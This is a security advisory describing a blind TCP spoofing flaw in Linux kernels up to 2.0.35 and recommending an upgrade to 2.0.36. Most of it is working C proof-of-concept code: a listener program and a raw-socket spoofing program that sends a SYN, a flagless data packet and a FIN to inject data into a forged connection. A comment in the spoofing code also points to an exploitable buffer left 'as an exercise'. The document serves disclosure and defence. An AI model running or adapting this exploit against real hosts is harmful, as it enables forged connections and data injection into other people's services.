COMMAND

    tcp/ip

SYSTEMS AFFECTED

    Linux up to and including 2.0.35

PROBLEM

    Following is based on Network Associates (NAI) Security  Advisory.
    An implementation  flaw in  the Linux  TCP/IP stack  allows remote
    attackers  to  forge  TCP  connections without predicting sequence
    numbers  and  pass   data  to  the  application  layer  before   a
    connection is  established.   Analysis and  documentation of  this
    problem was conducted by Anthony Osborne with the Security Labs at
    Network Associates.

    TCP is a reliable connection-oriented protocol which requires  the
    completion of a three way handshake to establish a connection.  To
    implement  reliable  and  unduplicated  delivery  of data, the TCP
    protocol  uses  a  sequence  based  acknowledgment system.  During
    connection  establishment  each  host  selects an initial sequence
    number which is sent in the first packet of the connection.   Each
    subsequent byte transmitted  in the TCP  connection is assigned  a
    sequence number.   To prevent duplicate  or invalid segments  from
    impacting  established  connections  TCP  utilizes  a  state based
    model.   In  a  typical  client-server  application,  the   client
    initiates  a  connection  by  transmitting  a  TCP  segment  to  a
    listening server process.  This causes the state of the process to
    move  from  the  LISTEN  state  into  SYN_RECEIVE if a SYN flag is
    present.  During  this state the  server acknowledges the  clients
    request setting both the SYN and ACK flags.  To complete the three
    way handshake the client acknowledges the servers response, moving
    the server from SYN_RECEIVE to ESTABLISHED state.

    To establish a forged TCP session an attacker must have  knowledge
    of  or  be  able  to  predict  the initial sequence number that is
    selected  by  the  server.   An  implementation  flaw in the Linux
    kernel allows data to be delivered to the application layer before
    the handshake has completed.

    The combination of three flaws in the Linux TCP/IP  implementation
    contribute to the existence of a security vulnerability.  Firstly,
    Linux only verifies the acknowledgment number of incoming segments
    if the  ACK flag  has been  set. Linux  also queues  data from TCP
    segments  without   acknowledgment  information   prior  to    the
    completion of the  three way handshake  but after the  initial SYN
    has been acknowledged by the server. Finally, Linux passes data to
    the application layer upon the receipt of a packet containing  the
    FIN flag regardless of whether a connection has been  established.
    Together,  these  flaws  allow  an  attacker to spoof an arbitrary
    connection and deliver data to an application without the need  to
    predict the  servers initial  sequence number.   According to  the
    standard, there is  only one case  wherein a correct  TCP/IP stack
    can accept data in  a packet that does  not have the ACK  flag set
    --- the initial connection-soliciting SYN packet can contain data,
    but must  not have  the ACK  flag set.  In any  other case, a data
    packet not bearing the ACK flag  should be discarded.  When a  TCP
    segment  carries   an  ACK   flag,   it   must  have   a   correct
    acknowledgement sequence number (which  is the sequence number  of
    the  next  byte  of  data  expected  from  the  other  side of the
    connection).   TCP packets  bearing the  ACK flag  are verified to
    ensure that their acknowledgement numbers are correct.

    Vulnerable Linux kernels accept data segments that do not have the
    ACK flag set. Because the ACK flag is not set, the acknowledgement
    sequence number is not verified.  This allows an attacker to  send
    data  over  a  spoofed  connection  without  knowing  the target's
    current (or  initial)   sequence number.   Linux does  not deliver
    data received  from a  TCP connection  when the  connection is  in
    SYN_RECEIVE state. Thus, an  attacker cannot successfully spoof  a
    TCP transaction  to a  Linux host  without somehow  completing the
    TCP  handshake.   However,  an  implementation  flaw in some Linux
    kernels allows an attacker  to bypass the TCP  handshake entirely,
    by "prematurely" closing it with a FIN packet.  When a FIN  packet
    is received for a  connection in SYN_RECEIVE state,  Linux behaves
    as  if  the  connection  was  in  ESTABLISHED  state and moves the
    connection to CLOSE_WAIT state. In the process of doing this, data
    queued  on  the   connection  will  be   delivered  to   listening
    applications.  If the ACK flag is not set on the FIN segment,  the
    target's sequence number is not verified in the segment.

    Jochen Thomas Bauer  sent following.   Here is some  demonstration
    code  for  the  "Linux  Blind  TCP Spoofing" problem discovered by
    NAI. If you have trouble compiling this, try it with -D_BSD_SOURCE

    1.) receive.c
    =============
        This  simple  program  creates  a  TCP  socket and waits for a
        connection.  After the accept call returnes, it reads 8  bytes
        from the socket and prints them on stdout.
        usage: receive listen_port

    2.) spoof.c
    ===========
        This one sends a SYN packet,  a Null packet (no flags at  all)
        with 8 bytes of data and a FIN packet to the target.
        usage: spoof source_ip source_port target_ip target_port

    Don't forget to  disable host source_ip  so it cannot  send RST's.
    This was tested on Linux 2.0.30.  After the FIN packet is received
    the accept  call returnes  and the  read call  gives the data sent
    with the Null packet.

    ---------------------------- receive.c ---------------------------
    #include <stdio.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <netinet/in.h>

    main(int argc, char *argv[])
    {
     int i,n,dummy,new;
     struct sockaddr_in address,source_addr;
     char buffer[8];

     address.sin_family = AF_INET;
     address.sin_port = htons(atoi(argv[1]));
     address.sin_addr.s_addr = 0;

     if((i=socket(AF_INET,SOCK_STREAM,6))<0)   /*create socket*/
      {
       perror("socket\n");
       exit(1);
      }
     if((bind(i,(struct sockaddr *)&address,sizeof(struct sockaddr_in)))<0)
       {                                                /*bind socket to address*/
        perror("bind");
        exit(1);
       }
     if((listen(i,2))<0)
       {
        perror("listen");
        exit(1);
       }
     printf("listening on socket\n");
     new=accept(i,(struct sockaddr *)&source_addr,&dummy);
     if(new>0)
       printf("connected!\n");
     else
      {
       perror("accept");
       exit(1);
      }
     fflush(stdout);
     n=read(new,buffer,8);
     printf("read %i bytes from socket\n",n);
     printf("message is: %s\n",buffer);
    }
  
    ----------------------------spoof.c-------------------------------
    #include <stdio.h>
    #include <netinet/ip.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/tcp.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <asm/types.h>

    #define FIN 1
    #define SYN 2
    #define SEQ 20985

    /*---------------Checksum calculation--------------------------------*/
    unsigned short in_cksum(unsigned short *addr,int len)
    {
     register int nleft = len;
     register unsigned short *w = addr;
     register int sum = 0;
     unsigned short answer = 0;

     while (nleft > 1)
            {
            sum += *w++;
            nleft -= 2;
            }
     if (nleft == 1)
            {
            *(u_char *)(&answer) = *(u_char *)w ;
            sum += answer;
            }
     sum = (sum >> 16) + (sum & 0xffff);
     sum += (sum >> 16);
     answer = ~sum;
     return(answer);
    }
    /*----------------------------------------------------------------------*/
  
    /*------------Send spoofed TCP packet-----------------------------------*/
    int send_tcp(int sfd,unsigned int src,unsigned short src_p,
                 unsigned int dst,unsigned short dst_p,tcp_seq seq,tcp_seq ack,
                 u_char flags,char *buffer,int len)
    {
     struct iphdr ip_head;
     struct tcphdr tcp_head;
     struct sockaddr_in target;
     char packet[2048];     /*the exploitation of this is left as an exercise..*/
     int i;

     struct tcp_pseudo        /*the tcp pseudo header*/
     {
      __u32 src_addr;
      __u32 dst_addr;
      __u8  dummy;
      __u8  proto;
      __u16 length;
     } pseudohead;

     struct help_checksum   /*struct for checksum calculation*/
     {
      struct tcp_pseudo pshd;
      struct tcphdr tcphd;
      char tcpdata[1024];
     } tcp_chk_construct;
 

     /*Prepare IP header*/
     ip_head.ihl      = 5;     /*headerlength with no options*/
     ip_head.version  = 4;
     ip_head.tos      = 0;
     ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct tcphdr)+len);
     ip_head.id       = htons(31337 + (rand()%100));
     ip_head.frag_off = 0;
     ip_head.ttl      = 255;
     ip_head.protocol = IPPROTO_TCP;
     ip_head.check    = 0;    /*Fill in later*/
     ip_head.saddr    = src;
     ip_head.daddr    = dst;
     ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

     /*Prepare TCP header*/
     tcp_head.th_sport = htons(src_p);
     tcp_head.th_dport = htons(dst_p);
     tcp_head.th_seq   = htonl(seq);
     tcp_head.th_ack   = htonl(ack);
     tcp_head.th_x2    = 0;
     tcp_head.th_off   = 5;
     tcp_head.th_flags = flags;
     tcp_head.th_win   = htons(0x7c00);
     tcp_head.th_sum   = 0;  /*Fill in later*/
     tcp_head.th_urp   = 0;

     /*Assemble structure for checksum calculation and calculate checksum*/
     pseudohead.src_addr=ip_head.saddr;
     pseudohead.dst_addr=ip_head.daddr;
     pseudohead.dummy=0;
     pseudohead.proto=ip_head.protocol;
     pseudohead.length=htons(sizeof(struct tcphdr)+len);

     tcp_chk_construct.pshd=pseudohead;
     tcp_chk_construct.tcphd=tcp_head;
     memcpy(tcp_chk_construct.tcpdata,buffer,len);

     tcp_head.th_sum=in_cksum((unsigned short *)&tcp_chk_construct,
                             sizeof(struct tcp_pseudo)+sizeof(struct tcphdr)+len);

     /*Assemble packet*/
     memcpy(packet,(char *)&ip_head,sizeof(ip_head));
     memcpy(packet+sizeof(ip_head),(char *)&tcp_head,sizeof(tcp_head));
     memcpy(packet+sizeof(ip_head)+sizeof(tcp_head),buffer,len);

     /*Send packet*/
     target.sin_family     = AF_INET;
     target.sin_addr.s_addr= ip_head.daddr;
     target.sin_port       = tcp_head.th_dport;
     i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct tcphdr)+len,0,
                        (struct sockaddr *)&target,sizeof(struct sockaddr_in));
     if(i<0)
       return(-1); /*Error*/
     else
       return(i); /*Return number of bytes sent*/
    }
    /*---------------------------------------------------------------------*/

    main(int argc, char *argv[])
    {
     int i;
     unsigned int source,target;
     unsigned short int s_port,d_port;
     char data[]="abcdefg";

     source=inet_addr(argv[1]);
     s_port=atoi(argv[2]);
     target=inet_addr(argv[3]);
     d_port=atoi(argv[4]);

     if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
      {
       perror("socket");
       exit(1);
      }
     send_tcp(i,source,s_port,target,d_port,SEQ,0,SYN,NULL,0);
     printf("SYN sent\n");
     usleep(1000);
     send_tcp(i,source,s_port,target,d_port,SEQ+1,0,0,data,8); /*no flags set*/
     printf("data sent\n");
     usleep(1000);
     send_tcp(i,source,s_port,target,d_port,SEQ+9,0,FIN,NULL,0);
     printf("FIN sent\n");
     close(i);
    }

SOLUTION

    It is recommended that kernels below version 2.0.36 be upgraded to
    eliminate this  vulnerability.   Updated kernel  packages for  Red
    Hat Linux which are not  vulnerable to this problem are  available
    from

        http://www.redhat.com/support/docs/errata.html

    Both Debian and Caldera  Linux have been contacted  regarding this
    vulnerability  although  no  official  response has been received.
    The latest stable versions of the Linux kernel are available from

        http://www.kernel.org.